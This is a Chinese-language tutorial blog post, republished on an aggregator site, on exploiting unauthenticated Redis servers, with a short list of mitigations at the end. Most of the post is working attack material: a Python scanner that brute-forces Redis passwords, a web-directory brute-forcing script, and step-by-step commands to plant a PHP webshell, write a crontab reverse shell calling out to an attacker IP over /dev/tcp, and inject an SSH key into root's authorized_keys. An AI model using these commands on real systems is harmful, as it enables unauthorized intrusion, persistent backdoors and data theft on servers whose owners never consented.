一文了解 Redis 未授权访问漏洞

Posted 思源湖的鱼

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一文了解 Redis 未授权访问漏洞相关的知识,希望对你有一定的参考价值。

前言

学习有名的 Redis 未授权访问漏洞

1、Redis 未授权访问漏洞

(1)原理

Redis默认情况下,会绑定0.0.0.0:6379,如果没有采用相关的策略,比如添加防火墙规则表面其他非信任来源IP访问等,这样会将Redis服务暴露到公网上,如果在没有设置密码认证 (一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据

攻击者在未授权访问Redis的情况下,利用Redis自身提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥 写入目标服务器的/root/.ssh文件夹中authotrized_keys文件中,进而可以只用对应私钥直接使用ssh服务登录目标服务器。

(2)条件

  • redis绑定在0.0.0.0:6379,且没有添加防火墙规则避免其他非信任来源IP访问等相关安全策略,直接暴露在公网
  • 没有设置密码认证(一般为空),可以免密码远程登录redis服务

(3)漏洞危害

  • 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据
  • 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门程序
  • 最严重的情况,如果Redis以root身份与运行,黑客可以给root账户写入SSH公钥文件直接通过SSH登录受害服务器

2、探测脚本

(1)测试是否存在 Redis 未授权访问漏洞

#! /usr/bin/env python
# -*- encoding: utf-8 -*-

import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\\r\\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"未授权访问"
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\\r\\n" %(pass_))
                result = s.recv(1024)
                if '+OK' in result:
                    return u"存在弱口令,密码:%s" % (pass_)
    except Exception, e:
        pass
if __name__ == '__main__':
    ip=sys.argv[1]
    port=sys.argv[2]
    print check(ip,port, timeout=10)

(2)web目录探测

#!/usr/bin/env python
# -*- encoding: utf-8 -*-

# 脚本说明 
# 此脚本用于测试 Rdies 未授权访问时,在没权限写ssh私钥和定时任务又不知道web绝对路径的情况下,进行WEB目录探测

import redis

r = redis.Redis(host='127.0.0.1', port=6379)
# r = redis.Redis(host='127.0.0.1', port=6379, password=123) #带密码认证
pathlist = []
rootPath = "/web/releases/" #开始爆破的根目录
try:
    for dirs in open("E:\\\\dirs.txt",'r',encoding='UTF-8'): #这里是自己的字典,注意字符编码,关键还是字典
        # dirs = dirs.decode()
        dirslist = dirs.strip("\\n")
        path = "%s%s" % (rootPath,str(dirslist))
        try:
            checkDir = r.config_set("dir",path)
            info = "当前路径: " + str(path) + "\\t" + "存在!"
            pathlist.append(info)
            print(info)
        except Exception as e:
            if len(str(e)) == 45:
                print("当前路径: " + path + "\\t" + " 不存在!")
            elif len(str(e)) == 37:
                info = "当前路径: " + path + "\\t" + "没权限!"
                pathlist.append(str(info))
                print(info)
            else :
                info = "当前路径: " + path  + "\\t" +  str(e)
                pathlist.append(str(info))
                print(info)
except Exception as e:
    print("如果编码错误请检查字典中是否有乱码,错误信息:" + str(e))
print("===================== 探测完成 =====================")
for path_success in pathlist:
    print(path_success)

3、利用过程

(1)写入webshell

条件:

  • 知道web根目录绝对路径
  • redis权限不是root,不过有web目录写权限

流程:

  • 先确认存在redis未授权访问漏洞,并获取web根目录
  • 连接redis服务端:redis-cli.exe -h [ip] -p [port]
  • 进入根目录:config set dir [根目录绝对路径]
  • 创建脚本文件:config set dbfilename shell.php
  • 写入命令:set webshell "\\r\\n\\r\\n<?php phpinfo();?>\\r\\n\\r\\n"
  • 保存:save

访问shell.php即可

(2)在crontab里写定时任务反弹shell

条件:

  • centos:redis向任务计划文件写内容会出现乱码,centos会忽略乱码
  • 权限可写计划任务

流程:

  • 监听端口:nc -lvvp 8769
  • 生成计划任务配置文件
config set dir /var/spool/cron
set x "\\n\\n*/l **** /bin/bash -i>&/dev/tcp/xxx.xxx.xxx.xxx/8769 0>&l\\n\\n"
config set dbfilename root
save 

(3)写入ssh公钥,获取root权限

条件:

  • 开启了秘钥认证的linux主机
  • root权限你
  • 开启了ssh秘钥登录,存在/etc/.ssh文件

流程:

  • 生成秘钥:ssh-keygen -t rsa
  • 保存公钥:(echo -e "\\n\\n"; cat id_rsa.pub; echo -e "\\n\\n") > key.txt
  • 写入redis:cat key.txt | redis-cli -h [ip] -x set crack
  • 生成authorized_keys文件:
redis-cli -h [ip]
config set dir /root/.ssh
config set dbfilename authorized_keys
  • 本地私钥连接:ssh -i id_rsa root@[ip]

(4)自动RCE脚本

参见:https://github.com/n0b0dyCN/redis-rogue-server

4、防范措施

一些防范措施如下:

  • 禁止一些高危命令(要重启redis生效)
  • 以低权限运行redis(要重启redis生效)
  • 为redis添加密码验证(要重启redis生效)
  • 禁止外网访问redis(要重启redis生效)
  • 修改默认端口
  • 设置防火墙策略

结语

学习了下redis未授权访问漏洞

以上是关于一文了解 Redis 未授权访问漏洞的主要内容,如果未能解决你的问题,请参考以下文章

Redis未授权访问漏洞

Redis未授权访问漏洞的利用及防护

Redis 未授权访问漏洞

修补--Redis未授权访问漏洞

Redis未授权访问漏洞复现

Redis未授权访问漏洞复现与利用